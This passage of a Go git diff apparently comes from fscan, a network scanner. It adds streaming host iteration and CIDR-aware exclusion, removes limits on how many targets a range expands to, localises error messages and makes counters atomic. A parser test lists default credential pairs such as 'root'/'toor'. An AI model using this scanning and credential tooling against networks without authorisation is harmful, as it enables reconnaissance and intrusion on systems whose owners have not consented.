+ return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_ip_range_fmt", rangeStr)) + } + + startIPStr := strings.TrimSpace(parts[0]) + endIPStr := strings.TrimSpace(parts[1]) + startIP := net.ParseIP(startIPStr) + if startIP == nil { + return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_start_ip", startIPStr)) + } + + if len(endIPStr) < 4 || !strings.Contains(endIPStr, ".") { + endNum, err := strconv.Atoi(endIPStr) + if err != nil || endNum > 255 { + return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_ip_end_val", endIPStr)) + } + parts := strings.Split(startIPStr, ".") + if len(parts) != 4 { + return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_ip_fmt", startIPStr)) + } + parts[3] = strconv.Itoa(endNum) + endIPStr = strings.Join(parts, ".") + } + + start, ok := ipToUint32(startIP) + if !ok { + return nil, fmt.Errorf("%s", i18n.GetText("parser_ipv4_only")) + } + end, ok := ipToUint32(net.ParseIP(endIPStr)) + if !ok { + return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_end_ip", endIPStr)) + } + if start > end { + return nil, fmt.Errorf("%s", i18n.GetText("parser_start_gt_end")) + } + return &cidrHostSource{current: start, end: end}, nil +} + +func closeHostSources(sources []hostSource) { + for _, src := range sources { + _ = src.Close() + } +} + +type hostMatcher struct { + exact map[string]struct{} + ranges []ipRange +} + +type ipRange struct { + start uint32 + end uint32 +} + +func newHostMatcher() *hostMatcher { + return &hostMatcher{exact: make(map[string]struct{})} +} + +func (m *hostMatcher) add(input string) error { + for _, h := range strings.Split(input, ",") { + h = strings.TrimSpace(h) + if h == "" { + continue + } + switch { + case h == "192": + if err := m.addCIDR("192.168.0.0/16"); err != nil { + return err + } + case h == "172": + if err := m.addCIDR("172.16.0.0/12"); err != nil { + return err + } + case h == "10": + if err := m.addCIDR("10.0.0.0/8"); err != nil { + return err + } + case strings.Contains(h, "/"): + if err := m.addCIDR(h); err != nil { + return err + } + case strings.Contains(h, "-") && !strings.Contains(h, ":") && looksLikeIPRange(h): + if err := m.addRange(h); err != nil { + return err + } + default: + m.exact[h] = struct{}{} + } + } + return nil +} + +func (m *hostMatcher) addCIDR(cidr string) error { + src, err := newCIDRHostSource(cidr) + if err != nil { + return err + } + rangeSrc, ok := src.(*cidrHostSource) + if !ok { + return fmt.Errorf("%s", i18n.GetText("parser_ipv4_only")) + } + m.ranges = append(m.ranges, ipRange{start: rangeSrc.current, end: rangeSrc.end}) + return nil +} + +func (m *hostMatcher) addRange(rangeStr string) error { + src, err := newRangeHostSource(rangeStr) + if err != nil { + return err + } + rangeSrc, ok := src.(*cidrHostSource) + if !ok { + return fmt.Errorf("%s", i18n.GetText("parser_ipv4_only")) + } + m.ranges = append(m.ranges, ipRange{start: rangeSrc.current, end: rangeSrc.end}) + return nil +} + +func (m *hostMatcher) match(host string) bool { + if _, ok := m.exact[host]; ok { + return true + } + ip, ok := ipToUint32(net.ParseIP(host)) + if !ok { + return false + } + for _, r := range m.ranges { + if ip >= r.start && ip <= r.end { + return true + } + } + return false +} + +func ipToUint32(ip net.IP) (uint32, bool) { + ip4 := ip.To4() + if ip4 == nil { + return 0, false + } + return uint32(ip4[0])<<24 | uint32(ip4[1])<<16 | uint32(ip4[2])<<8 | uint32(ip4[3]), true +} + +func uint32ToIP(v uint32) string { + return fmt.Sprintf("%d.%d.%d.%d", byte(v>>24), byte(v>>16), byte(v>>8), byte(v)) +} diff --git a/common/parsers/host_iterator_test.go b/common/parsers/host_iterator_test.go new file mode 100644 index 0000000..c2c0f9b --- /dev/null +++ b/common/parsers/host_iterator_test.go @@ -0,0 +1,105 @@ +package parsers + +import ( + "context" + "os" + "reflect" + "strings" + "testing" +) + +func TestHostIteratorCIDRBatch(t *testing.T) { + iter, err := NewHostIterator("192.168.1.0/30", "", "") + if err != nil { + t.Fatalf("NewHostIterator error = %v", err) + } + defer iter.Close() + + batch, err := iter.NextBatch(context.Background(), 10) + if err != nil { + t.Fatalf("NextBatch error = %v", err) + } + + want := []string{"192.168.1.1", "192.168.1.2"} + if !reflect.DeepEqual(batch, want) { + t.Fatalf("batch = %#v, want %#v", batch, want) + } +} + +func TestHostIteratorDoesNotExpandWholeRangeAtOnce(t *testing.T) { + iter, err := NewHostIterator("10", "", "") + if err != nil { + t.Fatalf("NewHostIterator error = %v", err) + } + defer iter.Close() + + batch, err := iter.NextBatch(context.Background(), 3) + if err != nil { + t.Fatalf("NextBatch error = %v", err) + } + + want := []string{"10.0.0.1", "10.0.0.2", "10.0.0.3"} + if !reflect.DeepEqual(batch, want) { + t.Fatalf("batch = %#v, want %#v", batch, want) + } +} + +func TestHostIteratorExcludeCIDR(t *testing.T) { + iter, err := NewHostIterator("192.168.1.0/29", "", "192.168.1.2-192.168.1.4") + if err != nil { + t.Fatalf("NewHostIterator error = %v", err) + } + defer iter.Close() + + batch, err := iter.NextBatch(context.Background(), 10) + if err != nil { + t.Fatalf("NextBatch error = %v", err) + } + + want := []string{"192.168.1.1", "192.168.1.5", "192.168.1.6"} + if !reflect.DeepEqual(batch, want) { + t.Fatalf("batch = %#v, want %#v", batch, want) + } +} + +func TestHostIteratorAcceptsMultipleExcludeSources(t *testing.T) { + iter, err := NewHostIterator("192.168.1.0/29", "", "192.168.1.2", "192.168.1.5") + if err != nil { + t.Fatalf("NewHostIterator error = %v", err) + } + defer iter.Close() + + batch, err := iter.NextBatch(context.Background(), 10) + if err != nil { + t.Fatalf("NextBatch error = %v", err) + } + + want := []string{"192.168.1.1", "192.168.1.3", "192.168.1.4", "192.168.1.6"} + if !reflect.DeepEqual(batch, want) { + t.Fatalf("batch = %#v, want %#v", batch, want) + } +} + +func TestHostIteratorReadsLongHostFileLine(t *testing.T) { + dir := t.TempDir() + path := dir + "/hosts.txt" + longPrefix := strings.Repeat("a", 70*1024) + host := longPrefix + ".example.com" + if err := os.WriteFile(path, []byte(host+"\n"), 0o600); err != nil { + t.Fatalf("WriteFile error = %v", err) + } + + iter, err := NewHostIterator("", path) + if err != nil { + t.Fatalf("NewHostIterator error = %v", err) + } + defer iter.Close() + + batch, err := iter.NextBatch(context.Background(), 1) + if err != nil { + t.Fatalf("NextBatch error = %v", err) + } + if !reflect.DeepEqual(batch, []string{host}) { + t.Fatalf("batch = %#v, want long host", batch) + } +} diff --git a/common/parsers/parse_test.go b/common/parsers/parse_test.go index 609fbad..03aacea 100644 --- a/common/parsers/parse_test.go +++ b/common/parsers/parse_test.go @@ -590,6 +590,18 @@ func TestParseIP_IPRange(t *testing.T) { } } +func TestParseIP_IPRangeNoLimit(t *testing.T) { + result, err := parseIPRangeString("192.168.1.1-5") + if err != nil { + t.Fatalf("parseIPRangeString error = %v", err) + } + + expected := []string{"192.168.1.1", "192.168.1.2", "192.168.1.3", "192.168.1.4", "192.168.1.5"} + if !reflect.DeepEqual(result, expected) { + t.Errorf("parseIPRangeString = %v, want %v", result, expected) + } +} + // TestParseIP_FromFile 测试从文件读取 // // 验证:文件中的IP列表被正确读取 @@ -684,6 +696,18 @@ func TestParseIP_Exclude(t *testing.T) { } } +func TestParseIPMultipleExcludeSources(t *testing.T) { + result, err := ParseIP("192.168.1.1-192.168.1.4", "", "192.168.1.2", "192.168.1.4") + if err != nil { + t.Fatalf("ParseIP error = %v", err) + } + + expected := []string{"192.168.1.1", "192.168.1.3"} + if !reflect.DeepEqual(result, expected) { + t.Fatalf("ParseIP with multiple excludes = %v, want %v", result, expected) + } +} + // TestParseIP_Deduplicate 测试去重 func TestParseIP_Deduplicate(t *testing.T) { result, err := ParseIP("192.168.1.1,192.168.1.1,192.168.1.2,192.168.1.2", "", "") @@ -788,7 +812,9 @@ func TestParsePortRange(t *testing.T) { // TestExcludeHosts 测试排除主机 func TestExcludeHosts(t *testing.T) { hosts := []string{"host1", "host2", "host3", "host4"} - exclude := []string{"host2", "host4"} + exclude := newHostMatcher() + exclude.exact["host2"] = struct{}{} + exclude.exact["host4"] = struct{}{} result := excludeFromList(hosts, exclude) expected := []string{"host1", "host3"} @@ -803,7 +829,7 @@ func TestExcludeHosts(t *testing.T) { // TestExcludeHosts_EmptyExclude 测试空排除列表 func TestExcludeHosts_EmptyExclude(t *testing.T) { hosts := []string{"host1", "host2"} - result := excludeFromList(hosts, []string{}) + result := excludeFromList(hosts, nil) if !reflect.DeepEqual(result, hosts) { t.Errorf("excludeFromList(空排除列表) 应该返回原列表") @@ -878,12 +904,6 @@ func TestParseIP_InternalNetworkShortcuts(t *testing.T) { 100, // 172.16.0.0/12 应该很多 "172.", }, - { - "10简写", - "10", - 100, // 10.0.0.0/8 应该很多 - "10.", - }, } for _, tt := range tests { @@ -969,6 +989,24 @@ func TestParseIP_FullIPRange(t *testing.T) { } } +func TestParseIP_FullIPRangeComplete(t *testing.T) { + result, err := parseIPRangeString("192.168.1.1-192.168.1.5") + if err != nil { + t.Fatalf("parseIPRangeString error = %v", err) + } + + expected := []string{ + "192.168.1.1", + "192.168.1.2", + "192.168.1.3", + "192.168.1.4", + "192.168.1.5", + } + if !reflect.DeepEqual(result, expected) { + t.Errorf("parseIPRangeString no limit = %v, want %v", result, expected) + } +} + // TestParseIP_InvalidCIDR 测试无效CIDR func TestParseIP_InvalidCIDR(t *testing.T) { tests := []struct { @@ -977,7 +1015,7 @@ func TestParseIP_InvalidCIDR(t *testing.T) { expectErr bool }{ {"无效掩码/33", "192.168.1.0/33", true}, - {"无效掩码/0", "192.168.1.0/0", false}, // /0 技术上是有效的 + {"有效掩码/32", "192.168.1.1/32", false}, {"格式错误", "192.168.1.0/abc", true}, {"缺少掩码", "192.168.1.0/", true}, } @@ -1173,7 +1211,7 @@ test: {"admin", "password123"}, {"root", "toor"}, {"user", "pass:with:colons"}, // 密码可以包含冒号 - {"test", ""}, // 空密码 + {"test", ""}, // 空密码 } if len(result) != len(tests) { diff --git a/common/parsers/parsers.go b/common/parsers/parsers.go index 74bbdbc..dd7b8b8 100644 --- a/common/parsers/parsers.go +++ b/common/parsers/parsers.go @@ -11,6 +11,7 @@ import ( "strings" "github.com/shadow1ng/fscan/common/config" + "github.com/shadow1ng/fscan/common/i18n" ) /* @@ -37,7 +38,7 @@ func ParseIP(host string, filename string, nohosts ...string) ([]string, error) if filename != "" { fileHosts, err := ReadLinesFromFile(filename) if err != nil { - return nil, fmt.Errorf("读取主机文件失败: %w", err) + return nil, fmt.Errorf(i18n.GetText("parser_read_hosts_failed")+": %w", err) } for _, h := range fileHosts { parsed, err := parseHostString(h) @@ -52,18 +53,27 @@ func ParseIP(host string, filename string, nohosts ...string) ([]string, error) if host != "" { hostList, err := parseHostString(host) if err != nil { - return nil, fmt.Errorf("解析主机失败: %w", err) + return nil, fmt.Errorf(i18n.GetText("parser_parse_host_failed")+": %w", err) } hosts = append(hosts, hostList...) } // 处理排除主机 - if len(nohosts) > 0 && nohosts[0] != "" { - excludeList, err := parseHostString(nohosts[0]) - if err != nil { - return nil, fmt.Errorf("解析排除主机失败: %w", err) + if len(nohosts) > 0 { + matcher := newHostMatcher() + hasExclude := false + for _, exclude := range nohosts { + if strings.TrimSpace(exclude) == "" { + continue + } + hasExclude = true + if err := matcher.add(exclude); err != nil { + return nil, fmt.Errorf(i18n.GetText("parser_parse_exclude_failed")+": %w", err) + } + } + if hasExclude { + hosts = excludeFromList(hosts, matcher) } - hosts = excludeFromList(hosts, excludeList) } // 去重和排序 @@ -71,7 +81,7 @@ func ParseIP(host string, filename string, nohosts ...string) ([]string, error) sort.Strings(hosts) if len(hosts) == 0 { - return nil, fmt.Errorf("没有找到有效的主机") + return nil, fmt.Errorf("%s", i18n.GetText("parser_no_valid_hosts")) } return hosts, nil @@ -89,33 +99,33 @@ func parseHostString(host string) ([]string, error) { switch { case h == "192": - cidrHosts, err := parseIPCIDR("192.168.0.0/16", SimpleMaxHosts) + cidrHosts, err := parseIPCIDR("192.168.0.0/16") if err != nil { return nil, err } hosts = append(hosts, cidrHosts...) case h == "172": - cidrHosts, err := parseIPCIDR("172.16.0.0/12", SimpleMaxHosts) + cidrHosts, err := parseIPCIDR("172.16.0.0/12") if err != nil { return nil, err } hosts = append(hosts, cidrHosts...) case h == "10": - cidrHosts, err := parseIPCIDR("10.0.0.0/8", SimpleMaxHosts) + cidrHosts, err := parseIPCIDR("10.0.0.0/8") if err != nil { return nil, err } hosts = append(hosts, cidrHosts...) case strings.Contains(h, "/"): - cidrHosts, err := parseIPCIDR(h, SimpleMaxHosts) + cidrHosts, err := parseIPCIDR(h) if err != nil { - return nil, fmt.Errorf("CIDR解析失败 %s: %w", h, err) + return nil, fmt.Errorf(i18n.Tr("parser_cidr_failed", h)+": %w", err) } hosts = append(hosts, cidrHosts...) case strings.Contains(h, "-") && !strings.Contains(h, ":") && looksLikeIPRange(h): - rangeHosts, err := parseIPRangeString(h, SimpleMaxHosts) + rangeHosts, err := parseIPRangeString(h) if err != nil { - return nil, fmt.Errorf("IP范围解析失败 %s: %w", h, err) + return nil, fmt.Errorf(i18n.Tr("parser_ip_range_failed", h)+": %w", err) } hosts = append(hosts, rangeHosts...) default: @@ -211,6 +221,7 @@ func ReadLinesFromFile(filename string) ([]string, error) { var lines []string scanner := bufio.NewScanner(file) + scanner.Buffer(make([]byte, 64*1024), 4*1024*1024) for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) if line != "" && !strings.HasPrefix(line, "#") { @@ -288,7 +299,7 @@ func ParseHashFile(filename string) ([]string, [][]byte, error) { // ============================================================================= // parseIPCIDR 解析CIDR网段 -func parseIPCIDR(cidr string, maxTargets int) ([]string, error) { +func parseIPCIDR(cidr string) ([]string, error) { _, ipNet, err := net.ParseCIDR(cidr) if err != nil { return nil, err @@ -298,17 +309,11 @@ func parseIPCIDR(cidr string, maxTargets int) ([]string, error) { ip := make(net.IP, len(ipNet.IP)) copy(ip, ipNet.IP) - count := 0 for ipNet.Contains(ip) { ips = append(ips, ip.String()) - count++ - if count >= maxTargets { - break - } incrementIP(ip) } - // 移除网络地址和广播地址 if len(ips) > 2 { ips = ips[1 : len(ips)-1] } @@ -330,10 +335,10 @@ func looksLikeIPRange(s string) bool { } // parseIPRangeString 解析IP范围字符串 -func parseIPRangeString(rangeStr string, maxTargets int) ([]string, error) { +func parseIPRangeString(rangeStr string) ([]string, error) { parts := strings.Split(rangeStr, "-") if len(parts) != 2 { - return nil, fmt.Errorf("无效的IP范围格式: %s", rangeStr) + return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_ip_range_fmt", rangeStr)) } startIPStr := strings.TrimSpace(parts[0]) @@ -341,7 +346,7 @@ func parseIPRangeString(rangeStr string, maxTargets int) ([]string, error) { startIP := net.ParseIP(startIPStr) if startIP == nil { - return nil, fmt.Errorf("无效的起始IP地址: %s", startIPStr) + return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_start_ip", startIPStr)) } // 处理简写格式 (如: 192.168.1.1-100) @@ -352,28 +357,28 @@ func parseIPRangeString(rangeStr string, maxTargets int) ([]string, error) { // 处理完整格式 (如: 192.168.1.1-192.168.1.100) endIP := net.ParseIP(endIPStr) if endIP == nil { - return nil, fmt.Errorf("无效的结束IP地址: %s", endIPStr) + return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_end_ip", endIPStr)) } - return parseIPFullRange(startIP, endIP, maxTargets) + return parseIPFullRange(startIP, endIP) } // parseIPShortRange 解析短格式IP范围 func parseIPShortRange(startIPStr, endSuffix string) ([]string, error) { endNum, err := strconv.Atoi(endSuffix) if err != nil || endNum > 255 { - return nil, fmt.Errorf("无效的IP范围结束值: %s", endSuffix) + return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_ip_end_val", endSuffix)) } ipParts := strings.Split(startIPStr, ".") if len(ipParts) != 4 { - return nil, fmt.Errorf("无效的IP地址格式: %s", startIPStr) + return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_ip_fmt", startIPStr)) } prefixIP := strings.Join(ipParts[0:3], ".") startNum, err := strconv.Atoi(ipParts[3]) if err != nil || startNum > endNum { - return nil, fmt.Errorf("无效的IP范围: %s-%s", startIPStr, endSuffix) + return nil, fmt.Errorf("%s", i18n.Tr("parser_invalid_ip_range_val", startIPStr, endSuffix)) } var allIP []string @@ -385,30 +390,27 @@ func parseIPShortRange(startIPStr, endSuffix string) ([]string, error) { } // parseIPFullRange 解析完整格式的IP范围 -func parseIPFullRange(startIP, endIP net.IP, maxTargets int) ([]string, error) { +func parseIPFullRange(startIP, endIP net.IP) ([]string, error) { start4 := startIP.To4() end4 := endIP.To4() if start4 == nil || end4 == nil { - return nil, fmt.Errorf("仅支持IPv4地址范围") + return nil, fmt.Errorf("%s", i18n.GetText("parser_ipv4_only")) } startInt := (int(start4[0]) << 24) | (int(start4[1]) << 16) | (int(start4[2]) << 8) | int(start4[3]) endInt := (int(end4[0]) << 24) | (int(end4[1]) << 16) | (int(end4[2]) << 8) | int(end4[3]) if startInt > endInt { - return nil, fmt.Errorf("起始IP大于结束IP") + return nil, fmt.Errorf("%s", i18n.GetText("parser_start_gt_end")) } var ips []string current := make(net.IP, len(start4)) copy(current, start4) - count := 0 for { ips = append(ips, current.String()) - count++ - - if current.Equal(end4) || count >= maxTargets { + if current.Equal(end4) { break } incrementIP(current) @@ -428,19 +430,14 @@ func incrementIP(ip net.IP) { } // excludeFromList 从列表中排除指定项 -func excludeFromList(hosts, excludeList []string) []string { - if len(excludeList) == 0 { +func excludeFromList(hosts []string, matcher *hostMatcher) []string { + if matcher == nil { return hosts } - excludeMap := make(map[string]struct{}, len(excludeList)) - for _, e := range excludeList { - excludeMap[e] = struct{}{} - } - result := make([]string, 0, len(hosts)) for _, h := range hosts { - if _, found := excludeMap[h]; !found { + if !matcher.match(h) { result = append(result, h) } } diff --git a/common/progress_manager.go b/common/progress_manager.go index a940805..797e654 100644 --- a/common/progress_manager.go +++ b/common/progress_manager.go @@ -28,8 +28,8 @@ ProgressManager.go - 固定底部进度条管理器 type ProgressManager struct { mu sync.RWMutex enabled bool - total int64 - current int64 + total atomic.Int64 + current atomic.Int64 description string startTime time.Time isActive bool @@ -117,8 +117,8 @@ func (pm *ProgressManager) InitProgress(total int64, description string) { pm.mu.Lock() defer pm.mu.Unlock() - pm.total = total - pm.current = 0 + pm.total.Store(total) + pm.current.Store(0) pm.description = description pm.startTime = time.Now() pm.isActive = true @@ -144,9 +144,9 @@ func (pm *ProgressManager) UpdateProgress(increment int64) { } // 原子累加,避免高并发下的锁竞争 - newCurrent := atomic.AddInt64(&pm.current, increment) - if newCurrent > pm.total { - atomic.StoreInt64(&pm.current, pm.total) + newCurrent := pm.current.Add(increment) + if newCurrent > pm.total.Load() { + pm.current.Store(pm.total.Load()) } // 节流渲染:距上次渲染不足 50ms 则跳过 @@ -178,7 +178,7 @@ func (pm *ProgressManager) FinishProgress() { pm.mu.Lock() defer pm.mu.Unlock() - atomic.StoreInt64(&pm.current, pm.total) + pm.current.Store(pm.total.Load()) pm.renderProgress() // 停止活跃指示器 @@ -219,18 +219,18 @@ func (pm *ProgressManager) generateProgressBar() string { // 获取发包统计 packetInfo := pm.getPacketInfo() - if pm.total == 0 { + if pm.total.Load() == 0 { spinner := pm.getActivityIndicator() - base := fmt.Sprintf("%s %s 等待中...", pm.description, spinner) + base := fmt.Sprintf("%s %s %s", pm.description, spinner, i18n.GetText("progress_waiting")) if packetInfo != "" { return base + " " + packetInfo } return base } - percentage := float64(atomic.LoadInt64(&pm.current)) / float64(pm.total) * 100 + percentage := float64(pm.current.Load()) / float64(pm.total.Load()) * 100 elapsed := time.Since(pm.startTime) - current := atomic.LoadInt64(&pm.current) + current := pm.current.Load() // 计算速度 speed := float64(current) / elapsed.Seconds() @@ -241,8 +241,8 @@ func (pm *ProgressManager) generateProgressBar() string { // 计算预估剩余时间 var eta string - if current > 0 && current < pm.total { - totalTime := elapsed * time.Duration(pm.total) / time.Duration(current) + if current > 0 && current < pm.total.Load() { + totalTime := elapsed * time.Duration(pm.total.Load()) / time.Duration(current) remaining := totalTime - elapsed if remaining > 0 { eta = fmt.Sprintf(" ETA:%s", formatDuration(remaining)) @@ -254,7 +254,7 @@ func (pm *ProgressManager) generateProgressBar() string { // 计算固定部分的宽度 fixedPart := fmt.Sprintf("%s %s %5.1f%% [] (%d/%d)%s%s %s", - pm.description, spinner, percentage, current, pm.total, speedStr, eta, packetInfo) + pm.description, spinner, percentage, current, pm.total.Load(), speedStr, eta, packetInfo) fixedWidth := displayWidth(fixedPart) // 计算进度条槽位可用宽度(预留2字符余量) @@ -281,7 +281,7 @@ func (pm *ProgressManager) generateProgressBar() string { // 构建最终进度条 result := fmt.Sprintf("%s %s %5.1f%% %s (%d/%d)%s%s", - pm.description, spinner, percentage, bar, current, pm.total, speedStr, eta) + pm.description, spinner, percentage, bar, current, pm.total.Load(), speedStr, eta) if packetInfo != "" { result += " " + packetInfo @@ -319,13 +319,15 @@ func (pm *ProgressManager) showCompletionInfo() { fmt.Print("\n") completionMsg := i18n.GetText("progress_scan_completed") + doneMsg := i18n.GetText("progress_done") + durationMsg := i18n.GetText("progress_duration") if pm.noColor { - fmt.Printf("[完成] %s %d/%d (耗时: %s)\n", - completionMsg, pm.total, pm.total, formatDuration(elapsed)) + fmt.Printf("[%s] %s %d/%d (%s: %s)\n", + doneMsg, completionMsg, pm.total.Load(), pm.total.Load(), durationMsg, formatDuration(elapsed)) } else { - fmt.Printf("%s[完成] %s %d/%d%s %s(耗时: %s)%s\n", - AnsiGreen, completionMsg, pm.total, pm.total, AnsiReset, - AnsiGray, formatDuration(elapsed), AnsiReset) + fmt.Printf("%s[%s] %s %d/%d%s %s(%s: %s)%s\n", + AnsiGreen, doneMsg, completionMsg, pm.total.Load(), pm.total.Load(), AnsiReset, + AnsiGray, durationMsg, formatDuration(elapsed), AnsiReset) } } @@ -476,10 +478,10 @@ func (pm *ProgressManager) GetPercent() float64 { pm.mu.RLock() defer pm.mu.RUnlock() - if !pm.isActive || pm.total == 0 { + if !pm.isActive || pm.total.Load() == 0 { return 0 } - return float64(atomic.LoadInt64(&pm.current)) / float64(pm.total) * 100 + return float64(pm.current.Load()) / float64(pm.total.Load()) * 100 } // ============================================================================= @@ -520,8 +522,8 @@ func (pm *ProgressManager) renderProgressUnsafe() { // 计算当前百分比(避免除零) currentPercent := 0 - if pm.total > 0 { - currentPercent = int((atomic.LoadInt64(&pm.current) * 100) / pm.total) + if pm.total.Load() > 0 { + currentPercent = int((pm.current.Load() * 100) / pm.total.Load()) } // 只在百分比变化时更新,减少不必要的渲染 @@ -640,8 +642,8 @@ ConcurrencyMonitor - 并发监控器 // ConcurrencyMonitor 并发监控器 type ConcurrencyMonitor struct { // 主扫描器层级 - activePluginTasks int64 // 当前活跃的插件任务数 - totalPluginTasks int64 // 总插件任务数 + activePluginTasks atomic.Int64 // 当前活跃的插件任务数 + totalPluginTasks atomic.Int64 // 总插件任务数 // 插件内连接层级已移除 - 原代码为死代码,无任何调用者 } @@ -656,10 +658,7 @@ var ( // GetConcurrencyMonitor 获取全局并发监控器 func GetConcurrencyMonitor() *ConcurrencyMonitor { concurrencyMutex.Do(func() { - globalConcurrencyMonitor = &ConcurrencyMonitor{ - activePluginTasks: 0, - totalPluginTasks: 0, - } + globalConcurrencyMonitor = &ConcurrencyMonitor{} }) return globalConcurrencyMonitor } @@ -670,18 +669,18 @@ func GetConcurrencyMonitor() *ConcurrencyMonitor { // StartPluginTask 开始插件任务 func (m *ConcurrencyMonitor) StartPluginTask() { - atomic.AddInt64(&m.activePluginTasks, 1) - atomic.AddInt64(&m.totalPluginTasks, 1) + m.activePluginTasks.Add(1) + m.totalPluginTasks.Add(1) } // FinishPluginTask 完成插件任务 func (m *ConcurrencyMonitor) FinishPluginTask() { - atomic.AddInt64(&m.activePluginTasks, -1) + m.activePluginTasks.Add(-1) } // GetPluginTaskStats 获取插件任务统计 func (m *ConcurrencyMonitor) GetPluginTaskStats() (active int64, total int64) { - return atomic.LoadInt64(&m.activePluginTasks), atomic.LoadInt64(&m.totalPluginTasks) + return m.activePluginTasks.Load(), m.totalPluginTasks.Load() } // ============================================================================= diff --git a/common/proxy/constants.go b/common/proxy/constants.go index 09b4f71..5d8da00 100644 --- a/common/proxy/constants.go +++ b/common/proxy/constants.go @@ -2,6 +2,8 @@ package proxy import ( "time" + + "github.com/shadow1ng/fscan/common/i18n" ) /* @@ -151,41 +153,41 @@ const ( // 错误消息常量 // ============================================================================= -const ( +var ( // ErrMsgUnsupportedProxyType Manager错误消息 - 不支持的代理类型 - ErrMsgUnsupportedProxyType = "不支持的代理类型" + ErrMsgUnsupportedProxyType = i18n.GetText("proxy_unsupported_type") // ErrMsgEmptyConfig 配置不能为空 - ErrMsgEmptyConfig = "配置不能为空" + ErrMsgEmptyConfig = i18n.GetText("proxy_empty_config") // ErrMsgSOCKS5ParseFailed SOCKS5错误消息 - 地址解析失败 - ErrMsgSOCKS5ParseFailed = "SOCKS5代理地址解析失败" + ErrMsgSOCKS5ParseFailed = i18n.GetText("proxy_socks5_parse_failed") // ErrMsgSOCKS5CreateFailed 拨号器创建失败 - ErrMsgSOCKS5CreateFailed = "SOCKS5拨号器创建失败" + ErrMsgSOCKS5CreateFailed = i18n.GetText("proxy_socks5_create_failed") // ErrMsgSOCKS5ConnTimeout 连接超时 - ErrMsgSOCKS5ConnTimeout = "SOCKS5连接超时" + ErrMsgSOCKS5ConnTimeout = i18n.GetText("proxy_socks5_conn_timeout") // ErrMsgSOCKS5ConnFailed 连接失败 - ErrMsgSOCKS5ConnFailed = "SOCKS5连接失败" + ErrMsgSOCKS5ConnFailed = i18n.GetText("proxy_socks5_conn_failed") // ErrMsgDirectConnFailed 直连错误消息 - 直连失败 - ErrMsgDirectConnFailed = "直连失败" + ErrMsgDirectConnFailed = i18n.GetText("proxy_direct_conn_failed") // ErrMsgHTTPConnFailed HTTP代理错误消息 - 连接失败 - ErrMsgHTTPConnFailed = "连接HTTP代理服务器失败" + ErrMsgHTTPConnFailed = i18n.GetText("proxy_http_conn_failed") // ErrMsgHTTPSetWriteTimeout 设置写超时失败 - ErrMsgHTTPSetWriteTimeout = "设置写超时失败" + ErrMsgHTTPSetWriteTimeout = i18n.GetText("proxy_http_set_write_timeout") // ErrMsgHTTPSendConnectFail 发送CONNECT请求失败 - ErrMsgHTTPSendConnectFail = "发送CONNECT请求失败" + ErrMsgHTTPSendConnectFail = i18n.GetText("proxy_http_send_connect_failed") // ErrMsgHTTPSetReadTimeout 设置读超时失败 - ErrMsgHTTPSetReadTimeout = "设置读超时失败" + ErrMsgHTTPSetReadTimeout = i18n.GetText("proxy_http_set_read_timeout") // ErrMsgHTTPReadRespFailed 读取响应失败 - ErrMsgHTTPReadRespFailed = "读取HTTP响应失败" + ErrMsgHTTPReadRespFailed = i18n.GetText("proxy_http_read_response_failed") // ErrMsgHTTPProxyAuthFailed 代理认证失败 - ErrMsgHTTPProxyAuthFailed = "HTTP代理连接失败,状态码: %d" + ErrMsgHTTPProxyAuthFailed = i18n.GetText("proxy_http_status_failed") // ErrMsgTLSTCPConnFailed TLS错误消息 - TCP连接失败 - ErrMsgTLSTCPConnFailed = "建立TCP连接失败" + ErrMsgTLSTCPConnFailed = i18n.GetText("proxy_tls_tcp_conn_failed") // ErrMsgTLSHandshakeFailed TLS握手失败 - ErrMsgTLSHandshakeFailed = "TLS握手失败" + ErrMsgTLSHandshakeFailed = i18n.GetText("proxy_tls_handshake_failed") ) // ============================================================================= diff --git a/common/proxy/httpdialer.go b/common/proxy/httpdialer.go index 430a2d6..6ac91ed 100644 --- a/common/proxy/httpdialer.go +++ b/common/proxy/httpdialer.go @@ -7,7 +7,6 @@ import ( "fmt" "net" "net/http" - "sync/atomic" "time" ) @@ -24,33 +23,27 @@ func (h *httpDialer) Dial(network, address string) (net.Conn, error) { func (h *httpDialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) { start := time.Now() - atomic.AddInt64(&h.stats.TotalConnections, 1) + h.stats.addTotal(1) // 连接到HTTP代理服务器 proxyConn, err := h.baseDial.DialContext(ctx, NetworkTCP, h.config.Address) if err != nil { - atomic.AddInt64(&h.stats.FailedConnections, 1) - h.stats.mu.Lock() - h.stats.LastError = err.Error() - h.stats.mu.Unlock() + h.stats.addFailed(1) + h.stats.setLastError(err.Error()) return nil, NewProxyError(ErrTypeConnection, ErrMsgHTTPConnFailed, ErrCodeHTTPConnFailed, err) } // 发送CONNECT请求 if err := h.sendConnectRequest(proxyConn, address); err != nil { _ = proxyConn.Close() // 错误处理路径,Close错误可忽略 - atomic.AddInt64(&h.stats.FailedConnections, 1) - h.stats.mu.Lock() - h.stats.LastError = err.Error() - h.stats.mu.Unlock() + h.stats.addFailed(1) + h.stats.setLastError(err.Error()) return nil, err } duration := time.Since(start) - h.stats.mu.Lock() - h.stats.LastConnectTime = start - h.stats.mu.Unlock() - atomic.AddInt64(&h.stats.ActiveConnections, 1) + h.stats.setLastConnectTime(start) + h.stats.addActive(1) h.updateAverageConnectTime(duration) return &trackedConn{ diff --git a/common/proxy/manager.go b/common/proxy/manager.go index 5e1c24a..720c228 100644 --- a/common/proxy/manager.go +++ b/common/proxy/manager.go @@ -4,9 +4,7 @@ import ( "context" "fmt" "net" - "net/url" "sync" - "sync/atomic" "time" "golang.org/x/net/proxy" @@ -128,19 +126,7 @@ func (m *manager) Stats() *ProxyStats { m.mu.RLock() defer m.mu.RUnlock() - m.stats.mu.Lock() - defer m.stats.mu.Unlock() - - return &ProxyStats{ - TotalConnections: atomic.LoadInt64(&m.stats.TotalConnections), - ActiveConnections: atomic.LoadInt64(&m.stats.ActiveConnections), - FailedConnections: atomic.LoadInt64(&m.stats.FailedConnections), - AverageConnectTime: m.stats.AverageConnectTime, - LastConnectTime: 